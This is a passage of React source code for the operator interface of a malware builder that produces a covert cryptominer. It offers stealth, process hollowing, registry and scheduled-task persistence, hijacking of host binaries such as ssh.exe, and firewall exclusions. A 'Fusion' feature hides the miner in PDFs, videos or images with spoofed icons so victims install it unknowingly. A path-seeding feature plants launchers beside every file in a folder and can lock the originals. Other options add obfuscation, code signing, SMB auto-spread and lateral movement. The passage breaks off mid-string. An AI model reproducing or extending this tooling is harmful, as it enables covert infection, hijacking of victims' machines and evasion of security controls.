/>
</div>
</div>
)}
</div>
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Install & Process"
badge="baked"
description="Where the miner installs, how it persists, and how it appears in Task Manager."
/>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select className="select" value={form.install_base}
onChange={(e) => updateField('install_base', e.target.value)}>
{installBaseOptions.map((opt) => (
<option key={opt.value} value={opt.value}>{opt.label}</option>
))}
</select>
<FieldHint field="install_base" />
{installBaseOptions.find((o) => o.value === form.install_base)?.hint && (
<p className="form-hint">
{installBaseOptions.find((o) => o.value === form.install_base)!.hint}
</p>
)}
</div>
{form.install_base === 'custom' && (
<div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input type="text" className="input mono"
placeholder={
form.target_os === 'linux' || form.target_os === 'darwin'
? '/home/user/.local/share or ~/Library/Application Support'
: 'C:\\Hidden\\Miner or %ProgramData%\\MyApp'
}
disabled={fieldMeta.install_custom_base?.disabled}
value={form.install_custom_base}
onChange={(e) => updateField('install_custom_base', e.target.value)} />
<FieldHint field="install_custom_base" />
<ForgeLockedHint meta={fieldMeta.install_custom_base} />
</div>
)}
<div className="form-group">
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
<input type="text" className="input mono"
placeholder="CryptoMiner/{worker}-{build_short}"
value={form.install_relative_path}
onChange={(e) => updateField('install_relative_path', e.target.value)} />
<FieldHint field="install_relative_path" />
</div>
<div className="form-group">
<label className="label">Install Preview</label>
<code className="path-display">{installPreview}</code>
</div>
<div className={`form-group checkbox-group ${fieldMeta.adapt_to_hardware?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
disabled={fieldMeta.adapt_to_hardware?.disabled}
onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
</label>
<FieldHint field="adapt_to_hardware" />
<ForgeLockedHint meta={fieldMeta.adapt_to_hardware} />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.firewall_exclusion}
onChange={(e) => updateField('firewall_exclusion', e.target.checked)} />
<span>
{form.target_os === 'linux' || form.target_os === 'darwin'
? 'Firewall allow rules (ufw/iptables when available)'
: form.target_os === 'universal'
? 'Firewall allow rules (per OS — netsh / ufw / best-effort)'
: 'Windows Firewall allow rules for this miner'}{' '}
<HelpTip field="firewall_exclusion" />
</span>
</label>
<FieldHint field="firewall_exclusion" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.self_healing}
onChange={(e) => updateField('self_healing', e.target.checked)} />
<span>Self-healing (watchdog + auto-restart) <HelpTip field="self_healing" /></span>
</label>
<FieldHint field="self_healing" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.stealth_mode}
onChange={(e) => updateField('stealth_mode', e.target.checked)} />
<span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
</label>
<FieldHint field="stealth_mode" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.process_hollowing?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
disabled={fieldMeta.process_hollowing?.disabled}
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
<span>Process Hollowing (Windows only) <HelpTip field="process_hollowing" /></span>
</label>
<FieldHint field="process_hollowing" />
<ForgeLockedHint meta={fieldMeta.process_hollowing} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.file_logging}
disabled={fieldMeta.file_logging?.disabled}
onChange={(e) => updateField('file_logging', e.target.checked)} />
<span>Write miner.log on host <HelpTip field="file_logging" /></span>
</label>
<ForgeLockedHint meta={fieldMeta.file_logging} />
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
value={form.process_name}
onChange={(e) => updateField('process_name', e.target.value)} />
<FieldHint field="process_name" />
</div>
<div className="form-group">
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
<select className="select" value={form.display_mode} onChange={(e) => updateField('display_mode', e.target.value)}>
<option value="visible">Visible (console window)</option>
<option value="silent">Silent (no window)</option>
<option value="background">Background (silent + low priority)</option>
</select>
<FieldHint field="display_mode" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.persistence?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.persistence}
disabled={fieldMeta.persistence?.disabled}
onChange={(e) => updateField('persistence', e.target.checked)} />
<span>Persist after reboot <HelpTip field="persistence" /></span>
</label>
<FieldHint field="persistence" />
<ForgeLockedHint meta={fieldMeta.persistence} />
</div>
<div className="form-group">
<label className="label">Run As <HelpTip field="run_as" /></label>
<select
className="select"
value={form.run_as}
onChange={(e) => updateField('run_as', e.target.value)}
>
<option value="user">Current User (Run key persistence optional)</option>
<option value="scheduled">Scheduled Task (logon task persistence forced on)</option>
<option value="service">Scheduled Task as SYSTEM (elevated persistence forced on)</option>
<option value="bits">BITS Job (notify hook persistence forced on, Windows)</option>
<option value="host_binary">Host Binary Hijack (replace client app persistence forced on, Windows)</option>
</select>
<FieldHint field="run_as" />
</div>
{form.run_as === 'host_binary' && (
<div className="form-group">
<label className="label">Host Binary Target <HelpTip field="host_binary_target" /></label>
<select
className="select"
value={form.host_binary_target || 'ssh'}
onChange={(e) => updateField('host_binary_target', e.target.value)}
>
<option value="ssh">OpenSSH / Git SSH (ssh.exe)</option>
<option value="ftp">FTP Client (ftp.exe)</option>
<option value="telnet">Telnet (telnet.exe)</option>
<option value="mstsc">Remote Desktop (mstsc.exe)</option>
<option value="curl">curl (curl.exe)</option>
<option value="notepad">Notepad</option>
<option value="calc">Calculator</option>
<option value="chrome">Google Chrome</option>
<option value="edge">Microsoft Edge</option>
<option value="firefox">Mozilla Firefox</option>
<option value="putty">PuTTY</option>
<option value="winscp">WinSCP</option>
</select>
<FieldHint field="host_binary_target" />
</div>
)}
<div className={`form-group checkbox-group ${fieldMeta.auto_start?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.auto_start}
disabled={fieldMeta.auto_start?.disabled}
onChange={(e) => updateField('auto_start', e.target.checked)} />
<span>Also register startup entry (linked to persistence) <HelpTip field="auto_start" /></span>
</label>
<ForgeLockedHint meta={fieldMeta.auto_start} />
</div>
<div className={`form-group ${fieldMeta.autostart_mode?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Boot / logon autostart <HelpTip field="autostart_mode" /></label>
<select
className="select"
value={form.autostart_mode ?? ''}
disabled={fieldMeta.autostart_mode?.disabled}
onChange={(e) => updateField('autostart_mode', e.target.value)}
>
<option value="">Legacy (linked to checkbox above)</option>
<option value="none">None (Run As hooks only)</option>
<option value="logon_run">User logon Registry Run (HKCU)</option>
<option value="logon_startup_folder">User logon Startup folder shortcut</option>
<option value="logon_task">User logon Scheduled task (ONLOGON)</option>
<option value="boot_task">System boot Scheduled task (ONSTART / SYSTEM)</option>
<option value="all">All of the above</option>
</select>
<FieldHint field="autostart_mode" />
<ForgeLockedHint meta={fieldMeta.autostart_mode} />
</div>
<div className={`form-group ${fieldMeta.registry_run_hkcu?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Registry persistence (T1112) <HelpTip field="registry_persistence" /></label>
<div className="checkbox-grid">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hkcu}
disabled={fieldMeta.registry_run_hkcu?.disabled}
onChange={(e) => updateField('registry_run_hkcu', e.target.checked)} />
<span>HKCU Run (logon) <HelpTip field="registry_run_hkcu" /></span>
</label>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_run_once}
disabled={fieldMeta.registry_run_once?.disabled}
onChange={(e) => updateField('registry_run_once', e.target.checked)} />
<span>HKCU RunOnce <HelpTip field="registry_run_once" /></span>
</label>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hklm}
disabled={fieldMeta.registry_run_hklm?.disabled}
onChange={(e) => updateField('registry_run_hklm', e.target.checked)} />
<span>HKLM Run/RunOnce (elevated) <HelpTip field="registry_run_hklm" /></span>
</label>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_explorer_run}
disabled={fieldMeta.registry_explorer_run?.disabled}
onChange={(e) => updateField('registry_explorer_run', e.target.checked)} />
<span>Explorer Policies Run <HelpTip field="registry_explorer_run" /></span>
</label>
</div>
<p className="field-hint subtle">
Logon Run keys start the worker when a user signs in. Boot tasks (above) can start earlier at ONSTART.
Fleet registry read/write/delete is available under Remote Actions on Windows agents.
</p>
<ForgeLockedHint meta={fieldMeta.registry_run_hkcu} />
</div>
</div>
</>
)}
{deliverableType !== 'spread_kit' && !form.apk_mode && (
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Fusion — Hide miner in any file"
badge="baked"
description={simpleMode
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
/>
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.fusion_enabled}
disabled={fieldMeta.fusion_enabled?.disabled}
onChange={(e) => {
if (e.target.checked) {
setForm((prev) =>
prev
? normalizeForgeForm({
...prev,
fusion_enabled: true,
spread_kit: false,
target_os: 'universal',
target_arch: 'all',
})
: prev
);
} else {
setDeliverableType('single');
}
}}
/>
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
</label>
<FieldHint field="fusion_enabled" />
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
{form.fusion_enabled && (
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
Uncheck <strong>Enable Fusion</strong> above to return to a plain single-platform worker build.
</p>
)}
</div>
{deliverableType === 'fusion' && form.fusion_enabled && (
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Fusion deliverable drop your file below and forge. Output is one universal ZIP (Windows + Mac + Linux).
</p>
)}
{form.fusion_enabled && (
<>
{/* Single-file pick (used when Forge button is clicked) */}
<div
ref={fusionPrepRef}
className={`form-group fusion-prep-picker${highlightFusionPrep ? ' fusion-prep-highlight' : ''}${fieldMeta.fusion_prep?.disabled ? ' field-disabled' : ''}`}
>
<div className="label-row">
<label className="label">
Drop any file to fuse <HelpTip field="fusion_prep" />
</label>
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
</div>
<input
type="file"
className="input"
accept="*"
onChange={(e) => {
applyFusionFileSelection(e.target.files?.[0] || null);
setHighlightFusionPrep(false);
e.target.value = '';
}}
/>
{fusionPrepFile && !fusionIsExe && (
<div className="form-hint" style={{ marginTop: '0.4rem' }}>
<strong>{fusionPrepFile.name}</strong> {fusionFileTypeLabel(fusionPrepFile.name)},{' '}
{(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB
<br />
<span style={{ color: 'var(--color-accent)' }}>
Windows disguise: runner will be named{' '}
<code>{disguisedWindowsRunnerName(fusionPrepFile.name)}</code> with the{' '}
{fusionFileTypeLabel(fusionPrepFile.name)} icon injected.
Explorer shows it as <code>{disguisedDisplayName(fusionPrepFile.name)}</code> identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}.
</span>
</div>
)}
{fusionPrepFile && fusionIsExe && (
<span className="form-hint">
<strong>{fusionPrepFile.name}</strong> Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB will run directly when opened
</span>
)}
<p className="form-hint">
Supports any file type PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB.
On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.).
</p>
</div>
{/* Delivery mode — applies to all file types */}
<div className="form-group">
<label className="label">Delivery mode <HelpTip field="fusion_media_mode" /></label>
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
<label className="checkbox-label">
<input
type="radio"
className="checkbox"
name="fusion_media_mode"
checked={fusionMediaMode === 'embedded'}
onChange={() => {
updateField('fusion_media_mode', 'embedded');
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
}}
/>
<span>
<strong>All-in-one (embedded)</strong>
<FieldHint field="fusion_media_mode" />
</span>
</label>
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
Everything baked into a single runner binary. Drop one file anywhere and run it no extras needed.
Best for files under ~500 MB.
</p>
<label className="checkbox-label">
<input
type="radio"
className="checkbox"
name="fusion_media_mode"
checked={fusionMediaMode === 'paired'}
onChange={() => {
updateField('fusion_media_mode', 'paired');
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
}}
/>
<span>
<strong>ZIP bundle (paired)</strong>
</span>
</label>
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
Your original file + runners in a ZIP. Works for <em>any</em> file size. The recipient unzips and opens
the launcher for their OS the file opens normally, miner installs silently.
</p>
</div>
</div>
{/* Batch: queue multiple files, each gets its own ZIP */}
<div className="form-group">
<div className="label-row">
<label className="label">Batch fusion fuse many files at once <HelpTip field="fusion_batch" /></label>
</div>
<input
type="file"
className="input"
accept="*"
multiple
onChange={(e) => {
const list = e.target.files ? Array.from(e.target.files) : [];
setFusionBatchFiles(list);
e.target.value = '';
}}
/>
{fusionBatchFiles.length > 0 && (
<div style={{ marginTop: '0.5rem' }}>
<p className="form-hint" style={{ marginBottom: '0.25rem' }}>
<strong>{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued</strong> each becomes a separate universal ZIP in{' '}
<code>fusion-deliverables/</code>:
</p>
<ul className="batch-forge-log" style={{ marginBottom: '0.5rem' }}>
{fusionBatchFiles.map((f) => {
const isExe = fusionPayloadKind(f) === 'exe';
return (
<li key={f.name} className="batch-log-pending">
<span className="batch-log-icon"></span>
<span>
{f.name}{' '}
<span className="form-hint">({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB)</span>
{!isExe && (
<span style={{ color: 'var(--color-accent)', marginLeft: '0.4rem' }}>
Windows: <code>{disguisedDisplayName(f.name)}</code>
</span>
)}
</span>
</li>
);
})}
</ul>
</div>
)}
{batchJob && (
<div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
<div className="batch-forge-header">
<span className="font-tech">BATCH FORGE</span>
<span>
{batchJob.current}/{batchJob.total} {batchJob.phase}
</span>
</div>
<div className="batch-progress-track">
<div
className="batch-progress-fill"
style={{ width: `${Math.min(100, batchJob.percent)}%` }}
/>
</div>
{batchJob.fileName && (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Current: <code>{batchJob.fileName}</code>
</p>
)}
<ul className="batch-forge-log">
{batchJob.log.map((row) => (
<li key={row.name} className={`batch-log-${row.status}`}>
<span className="batch-log-icon">
{row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
</span>
<span>
{row.name}
{row.detail ? `${row.detail}` : ''}
</span>
</li>
))}
</ul>
</div>
)}
{fusionBatchFiles.length > 0 && (
<div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-secondary"
disabled={building || !canForge}
onClick={handleBatchForge}
>
{building
? `Forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
: `Forge all ${fusionBatchFiles.length} file${fusionBatchFiles.length !== 1 ? 's' : ''} → universal ZIP each`}
</button>
{building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && (
<button
type="button"
className="btn btn-danger"
onClick={handleBatchCancel}
title="Stop after the current file finishes"
>
Cancel Batch
</button>
)}
</div>
)}
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS the file opens, the miner installs.
</p>
</div>
{!simpleMode && (
<div className="form-row">
<div className="form-group">
<label className="label">Run order <HelpTip field="fusion_run_order" /></label>
<select className="select" value={form.fusion_run_order}
onChange={(e) => updateField('fusion_run_order', e.target.value)}>
<option value="parallel">Parallel file opens and miner installs at the same time</option>
<option value="prep_first">File first open file, then install miner</option>
<option value="worker_first">Miner first install silently, then open file</option>
</select>
<FieldHint field="fusion_run_order" />
</div>
<div className="form-group">
<label className="label">Runner filename <HelpTip field="fusion_output_name" /></label>
<input type="text" className="input mono" value={form.fusion_output_name}
onChange={(e) => updateField('fusion_output_name', e.target.value)} />
<FieldHint field="fusion_output_name" />
</div>
</div>
)}
{simpleMode && fusionPrepFile && (
<p className="form-hint">Runner name: <code>{form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}</code>. Run order: parallel (file opens + miner installs simultaneously).</p>
)}
<p className="form-hint">
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
</p>
{fusionPrepFile && (
<div className="fusion-output-preview card" style={{ marginTop: '0.75rem', padding: '0.75rem 1rem', fontSize: '0.85rem' }}>
<p className="font-tech" style={{ marginBottom: '0.5rem', color: 'var(--neon-cyan)' }}>WHAT YOU GET {fusionFileTypeLabel(fusionPrepFile.name).toUpperCase()}</p>
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem', lineHeight: 1.6 }}>
<li><strong>Windows:</strong> <code>Start.bat</code> or disguised runner (e.g. <code>{disguisedDisplayName(fusionPrepFile.name)}</code> with Photos icon) opens the image in the default viewer, miner runs hidden.</li>
<li><strong>Linux:</strong> <code>start.sh</code> <code>bin/linux-amd64/{fusionPrepFile.name.replace(/\.[^.]+$/, '')}-runner</code></li>
<li><strong>macOS:</strong> <code>Start.command</code> or <code>{fusionTitleFromFilename(fusionPrepFile.name)}.app</code> bundle</li>
{fusionMediaMode === 'paired' && (
<li><strong>ZIP also includes:</strong> your original <code>{fusionPrepFile.name}</code> at the root (paired mode).</li>
)}
<li>Download: <code>{fusionTitleFromFilename(fusionPrepFile.name)}-package.zip</code> under fusion-deliverables on the server.</li>
</ul>
</div>
)}
{(estimateLoading || fusionEstimate || estimateError) && (
<div className="fusion-estimate-panel card">
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
{estimateLoading && <p className="form-hint">Calculating</p>}
{estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
{fusionEstimate && (
<>
<ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
<li className="preflight-item preflight-ok">
<span className="preflight-icon"></span>
<span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
</li>
<li className="preflight-item preflight-ok">
<span className="preflight-icon">+</span>
<span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
</li>
<li className="preflight-item preflight-ok">
<span className="preflight-icon">+</span>
<span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
</li>
<li className="preflight-item preflight-warn">
<span className="preflight-icon"></span>
<span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
</li>
</ul>
<p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
{fusionEstimate.export_path && (
<p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
)}
<p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
{fusionEstimate.notes?.map((note) => (
<p key={note} className="form-hint">{note}</p>
))}
</>
)}
</div>
)}
</>
)}
</div>
)}
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
<div className="form-section operator-deck-card operator-interactive" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
<ForgeSectionHeader
title="PATH FORGE — Recursive Batch Seed"
badge="server-only"
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
/>
<p className="form-hint">
<HelpTip field="forge_path_forge" />
{' '}For every file found (movies, docs, archives) the server drops <strong>all three companions</strong> right beside it:<br />
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code>
</p>
<div className="form-group checkbox-group" style={{ margin: '0 0 0.75rem' }}>
<label className="checkbox-label" style={{ alignItems: 'flex-start', gap: '0.5rem' }}>
<input type="checkbox" className="checkbox" checked={pfLock}
onChange={(e) => setPfLock(e.target.checked)} disabled={pfBusy}
style={{ marginTop: 3 }} />
<span>
<strong style={{ color: 'var(--neon-amber)' }}>🔒 Lock Original</strong>
{' — '}renames <code>Terminator.mkv</code> <code>Terminator.mkv.locked</code> so it
<strong> cannot be opened</strong> by double-clicking. The launcher unlocks it,
plays it, <strong>re-locks it 4 seconds later</strong>, and runs the agent all invisible.
Without the launcher nothing plays.
</span>
</label>
</div>
<div className="form-group">
<label className="label">Root Folder Path</label>
<input
type="text"
className="input mono"
placeholder={`E:\\Movies or /Volumes/USB/Movies`}
value={pfPath}
onChange={(e) => setPfPath(e.target.value)}
disabled={pfBusy}
/>
<span className="form-hint">Path on the machine running AetherForge.exe (e.g. your USB drive or NAS).</span>
</div>
<div className="form-row" style={{ gap: '1rem', flexWrap: 'wrap' }}>
<div className="form-group" style={{ flex: '0 0 auto' }}>
<label className="label">Output Filename</label>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="radio" name="pfStemMode" value="original"
checked={pfStemMode === 'original'}
onChange={() => setPfStemMode('original')} disabled={pfBusy} />
Same as source file
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="radio" name="pfStemMode" value="custom"
checked={pfStemMode === 'custom'}
onChange={() => setPfStemMode('custom')} disabled={pfBusy} />
Custom name:
</label>
<input
type="text"
className="input mono"
style={{ width: 160, opacity: pfStemMode === 'custom' ? 1 : 0.35 }}
placeholder="e.g. VideoPlayer"
value={pfStem}
onChange={(e) => setPfStem(e.target.value)}
disabled={pfBusy || pfStemMode !== 'custom'}
/>
</div>
<span className="form-hint">
{pfStemMode === 'original'
? pfLock
? 'Terminator.mkv → Terminator.mkv.locked + Terminator.exe · Terminator.bat · Terminator.command'
: 'Terminator.mkv (kept) + Terminator.exe · Terminator.bat · Terminator.command'
: pfLock
? `filename.ext.locked + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`
: `filename.ext (kept) + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`}
</span>
</div>
<div className="form-group" style={{ flex: '0 0 auto' }}>
<label className="label">Drop All Three Companions</label>
<div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
<span style={{ color: '#61dafb' }}> Windows</span>
<span style={{ color: '#555', fontSize: '0.75rem' }}>.exe + .bat</span>
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
<span style={{ color: '#a8ff78' }}> Mac/Linux</span>
<span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
</label>
</div>
<span className="form-hint" style={{ color: '#888' }}>
Keep both on all 3 files drop next to every original (recommended)
</span>
</div>
</div>
<button
type="button"
className="btn btn-primary"
style={{
marginTop: '0.75rem',
background: 'linear-gradient(135deg, #ff8c00, #ff4500)',
border: 'none', color: '#fff', fontWeight: 700,
letterSpacing: '0.08em', padding: '0.55rem 1.4rem',
}}
onClick={handlePathForge}
disabled={pfBusy || !pfPath.trim() || (!pfWindows && !pfMac)}
>
{pfBusy ? '⏳ Seeding…' : '◈ LAUNCH PATH FORGE'}
</button>
{pfResult && (
<div className="card" style={{ marginTop: '1rem', padding: '0.85rem 1rem', fontSize: '0.82rem' }}>
<p className="font-tech" style={{ marginBottom: '0.5rem', color: pfResult.errors > 0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}>
{pfResult.errors === 0 && pfResult.placed > 0
? `${pfResult.placed} files placed across ${pfResult.total} source files`
: `${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
</p>
{pfResult.results.slice(0, 20).map((r, i) => (
<div key={i} style={{ marginBottom: '0.35rem', color: '#aaa', lineHeight: 1.5 }}>
<span style={{ color: '#666' }}>📄 </span>
<span style={{ color: '#888' }}>{r.source}</span>
<span style={{ color: '#444' }}> (kept)</span>
<br />
<span style={{ paddingLeft: '1.5rem', color: 'var(--neon-cyan)' }}>
{'↳ '}{r.files.join(' · ')}
</span>
</div>
))}
{pfResult.results.length > 20 && (
<p style={{ color: '#666', marginTop: '0.5rem' }}>and {pfResult.results.length - 20} more</p>
)}
{pfResult.error_list?.slice(0, 5).map((e, i) => (
<p key={i} style={{ color: 'var(--neon-red, #f55)', marginTop: '0.25rem' }}>{e}</p>
))}
</div>
)}
</div>
{!simpleMode && (
<>
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Build pipeline"
badge="server-only"
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
/>
<div className={`form-group checkbox-group ${fieldMeta.obfuscate?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
disabled={fieldMeta.obfuscate?.disabled}
onChange={(e) => updateField('obfuscate', e.target.checked)} />
<span>Obfuscate worker with Garble (Windows only) <HelpTip field="obfuscate" /></span>
</label>
<FieldHint field="obfuscate" />
<ForgeLockedHint meta={fieldMeta.obfuscate} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.sign_build?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
disabled={fieldMeta.sign_build?.disabled}
onChange={(e) => updateField('sign_build', e.target.checked)} />
<span>Sign forged output (Authenticode, Windows only) <HelpTip field="sign_build" /></span>
</label>
<FieldHint field="sign_build" />
<ForgeLockedHint meta={fieldMeta.sign_build} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.sigil_scramble?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.sigil_scramble !== false}
disabled={fieldMeta.sigil_scramble?.disabled}
onChange={(e) => updateField('sigil_scramble', e.target.checked)} />
<span>Sigil scramble on dispense (unique hash per forge) <HelpTip field="sigil_scramble" /></span>
</label>
<FieldHint field="sigil_scramble" />
<ForgeLockedHint meta={fieldMeta.sigil_scramble} />
</div>
</div>
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Autonomy, Mesh & Lateral Movement"
badge="baked"
description="Optional — AI decisions, P2P mesh, SMB auto-spread, NAT hole punch, and remote aggressive ops (dashboard buttons)."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.ai_enabled}
onChange={(e) => updateField('ai_enabled', e.target.checked)} />
<span>Enable AI Autonomy (Ollama) <HelpTip field="ai_enabled" /></span>
</label>
<FieldHint field="ai_enabled" />
</div>
{form.ai_enabled && (
<>
<div className={`form-group ${fieldMeta.ai_ollama_endpoint?.disabled ? 'field-disabled' : ''}`}>
<div className="label-row">
<label className="label">Ollama Endpoint URL <HelpTip field="ai_ollama_endpoint" /></label>
<ForgeFieldBadge meta={fieldMeta.ai_ollama_endpoint} />
</div>
<input
type="url"
className="input mono"
placeholder="http://localhost:11434"
disabled={fieldMeta.ai_ollama_endpoint?.disabled}
value={form.ai_ollama_endpoint}
onChange={(e) => updateField('ai_ollama_endpoint', e.target.value)}
/>
<p className="form-hint">
Control server machine not the worker. Default: <code>http://localhost:11434</code>
</p>
</div>
<div className={`form-group ${fieldMeta.ai_model?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Ollama Model <HelpTip field="ai_model" /></label>
<input
type="text"
className="input mono"
placeholder="llama3.2"
disabled={fieldMeta.ai_model?.disabled}
value={form.ai_model}
onChange={(e) => updateField('ai_model', e.target.value)}
/>
<p className="form-hint">
Model to use for decisions. Default: <code>llama3.2</code>. Must support tool-calling / JSON output.
</p>
</div>
</>
)}
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.mesh_p2p}
onChange={(e) => updateField('mesh_p2p', e.target.checked)} />
<span>Enable Mesh P2P Networking <HelpTip field="mesh_p2p" /></span>
</label>
<FieldHint field="mesh_p2p" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.auto_spread}
onChange={(e) => {
const checked = e.target.checked;
if (checked && !window.confirm(
'Enable Auto-Spread?\n\n' +
'When baked ON, every deployed agent will automatically attempt lateral movement ' +
